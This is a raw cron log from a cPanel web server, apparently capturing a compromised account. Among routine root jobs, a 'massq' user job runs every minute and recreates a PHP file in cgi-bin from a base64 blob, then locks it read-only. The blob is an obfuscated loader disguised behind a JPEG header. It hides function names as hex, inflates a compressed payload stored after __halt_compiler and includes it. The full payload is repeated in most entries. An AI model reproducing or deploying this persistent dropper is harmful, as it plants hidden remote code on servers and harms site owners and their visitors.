Sep  2 13:08:01 server CROND[9363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:08:01 server CROND[9364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:08:01 server CROND[9365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:09:01 server CROND[9849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:09:01 server CROND[9850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:09:01 server CROND[9851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:09:01 server CROND[9852]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 13:10:01 server CROND[10326]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:10:01 server CROND[10334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:10:01 server CROND[10338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:10:01 server CROND[10341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:10:01 server CROND[10344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:10:01 server CROND[10346]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:10:01 server CROND[10342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:10:01 server CROND[10345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:11:01 server CROND[11164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:11:01 server CROND[11165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:11:01 server CROND[11166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:12:01 server CROND[11546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:12:01 server CROND[11547]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:12:01 server CROND[11548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:12:01 server CROND[11549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:13:01 server CROND[11938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:13:01 server CROND[11939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:13:01 server CROND[11940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:14:01 server CROND[12318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:14:01 server CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:14:01 server CROND[12320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:15:01 server CROND[12743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:15:01 server CROND[12745]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:15:01 server CROND[12759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:15:01 server CROND[12761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:15:01 server CROND[12762]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 13:15:01 server CROND[12764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:15:01 server CROND[12760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:15:01 server CROND[12763]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:16:01 server CROND[13738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:16:01 server CROND[13739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:16:01 server CROND[13741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:17:01 server CROND[14130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:17:01 server CROND[14131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:17:01 server CROND[14132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:18:01 server CROND[14518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:18:01 server CROND[14519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:18:01 server CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:19:01 server CROND[14907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:19:01 server CROND[14908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:19:01 server CROND[14909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:20:01 server CROND[15318]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:20:01 server CROND[15320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:20:01 server CROND[15321]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
